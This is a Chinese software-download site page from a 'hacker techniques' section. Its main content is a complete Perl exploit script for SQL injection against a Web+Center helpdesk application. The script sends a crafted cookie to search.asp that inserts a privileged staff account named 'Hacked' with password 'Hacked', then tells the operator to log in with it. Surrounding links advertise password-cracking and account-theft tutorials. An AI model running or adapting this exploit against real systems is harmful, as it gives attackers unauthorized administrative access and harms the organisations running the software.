| VB 源码 | VC 源码 | ASP源码 | JSP源码 | PHP源码 | CGI源码 | FLASH源码 | 素材模板 | C 源程序 | 站长工具 | 站长教程 |

黑客技术

木马病毒
黑客技术
系统安全
防火墙
安全防范

本类阅读TOP10

·五种windows密码设置及破解
·穿过局域网的我的手 内网远程控制全攻略
·不用任何软件(木马程序)盗取账号密码
·EXE、DLL文件的脱壳
·黑客技术:SQL入侵教程
·美萍的破解方法
·Windows黑客编程基础
·硬盘还原卡的破解
·win2000密码破解不完全指南
·大话网络之经典入侵技术

站内搜索

黑客Web+Center SQL Injection代码
#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];

if (($#ARGV+1) < 2)
{
print "iss_helpdesk.pl host path ";
exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level, first_name, last_name, availability, show_dispatch_flag) VALUES ('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";

$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;

my $http = "GET /$Path/search.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;

";

print "HTTP: [$http] ";
print $remote $http;
sleep(1);

while (<$-remote>)   注:该行的"-"在使用时去掉
{
# print $-;     注:该行的"-"在使用时换为"_"
}
print "";

close($remote);

print "You can now logon using the tech username 'Hacked' with the password 'Hacked' ";

exit(0);



相关文章
  • SQL循序渐进
  • mysql 3.0的注射
  • Oracle PL/SQL入门之案例实践
  • SQL Server存储图像数据的策略与方法
  • 如何避免asp的SQL的执行效率低
  • 导入大量MYSQL数据的方法
  • Mssql和Mysql的安全性分析
  • 选择MySQL还是SQL Server
  • MySQL入门学习(一)
  • SQL语句导入导出大全
  • 全面接触SQL语法(1)
  • 全面接触SQL语法(2)
  • 全面接触SQL语法(3)
  • 全面接触SQL语法(4)
  • 全面接触SQL语法(5)
  • 全面接触SQL语法(6)
  • 全面接触SQL语法(7)
  • 采用ODBC接口访问MySQL指南
  • ACCESS转化成SQL2000需要注意的几个问题
  • Pureftpd+MySQL+Pureftpd_php_manager架设FTP SERVER
  • 相关软件

  • 一个使用MFC和SQL的例子  
  • 微软SQL数据库支援控件  
  • 在direct SQL类中调用ODBC  
  • 酷蝶XP留言本(MySQL) 3.0
  • QSQL  
  • 连接到MySQL服务器时  
  • Perl的Mysql的DBD模块  
  • 本论坛系统使用大型数据库MYSQL  
  • 导入和导出sql数据phpMyAdmin  
  • MYSQL数据备分  

  • 下载首页关于我们广告服务联系方式常见问题隐私声明法律条款本站声明下载帮助发布软件站点地图谷歌卫星地图